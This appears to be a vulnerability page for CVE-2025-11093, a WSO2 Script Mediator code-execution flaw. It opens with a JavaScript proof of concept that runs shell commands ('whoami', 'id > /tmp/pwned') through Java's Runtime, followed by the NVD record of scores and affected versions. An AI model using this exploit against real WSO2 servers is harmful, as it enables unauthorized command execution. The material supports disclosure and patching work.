CVE-2025-11093

// CVE-2025-11093 PoC - WSO2 Script Mediator RCE // Target: WSO2 Micro Integrator / Enterprise Integrator / API Manager // Prerequisites: High-privilege authenticated user access const String = Java.type('java.lang.String'); const Runtime = Java.type('java.lang.Runtime'); // Execute system command via NashornJS/GraalJS engine var command = 'whoami'; var result = Runtime.getRuntime().exec(command); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(result.getInputStream()) ); var output = ''; var line; while ((line = reader.readLine()) != null) { output += line + '\n'; } output; // Alternative: Direct command execution var process = java.lang.Runtime.getRuntime().exec(['/bin/sh', '-c', 'id > /tmp/pwned']); process.waitFor();

{"cve": {"id": "CVE-2025-11093", "sourceIdentifier": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "published": "2025-11-05T19:15:49.900", "lastModified": "2026-01-09T02:33:37.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary code execution vulnerability exists in multiple WSO2 products due to insufficient restrictions in the GraalJS and NashornJS Script Mediator engines. Authenticated users with elevated privileges can execute arbitrary code within the integration runtime environment.\n\nBy default, access to these scripting engines is limited to administrators in WSO2 Micro Integrator and WSO2 Enterprise Integrator, while in WSO2 API Manager, access extends to both administrators and API creators. This may allow trusted-but-privileged users to perform unauthorized actions or compromise the execution environment."}], "metrics": {"cvssMetricV31": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_control_plane:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.0.29", "matchCriteriaId": "8957D59D-3904-44AF-BE40-50A40E7B9F74"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.0.345", "matchCriteriaId": "0A9DCE95-7376-4758-8DAD-443F40DD6070"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.0.446", "matchCriteriaId": "0155515E-9675-4E5B-AC66-23D3B1836802"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.1", "versionEndExcluding": "3.2.1.66", "matchCriteriaId": "CA60934A-790E-4CDC-B847-8B3312402064"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.0.228", "matchCriteriaId": "68EA6026-A61F-4486-A1B2-4E4C27A449B9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "4.2.0.169", "matchCriteriaId": "7476F695-0EC0-4FD2-B4CA-9F7BE336110B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.3.0.81", "matchCriteriaId": "A848DAE7-63C3-42F1-AEB5-832FFABD94C8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.0.45", "matchCriteriaId": "3E72C8F2-28A0-42A7-9932-3995CEDE6881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.0.28", "matchCriteriaId": "959FAE09-7581-487F-A156-7EFFB62BE457"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:enterprise_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.0", "versionEndExcluding": "6.6.0.224", "matchCriteriaId": "5287C487-F733-4517-960D-D7EFC77C1832"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:micro_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.0.145", "matchCriteriaId": "C8DB178A-7727-4235-9323-0087429F154B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:micro_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.0.147", "matchCriteriaId": "FF00EB0D-ED77-418B-B963-1B1BAF5D9A7D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:micro_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "4.2.0.141", "matchCriteriaId": "1E453B4D-2753-4D99-89E3-8F4BBF9FF8CE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:micro_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.3.0.42", "matchCriteriaId": "82EE5519-28 ... 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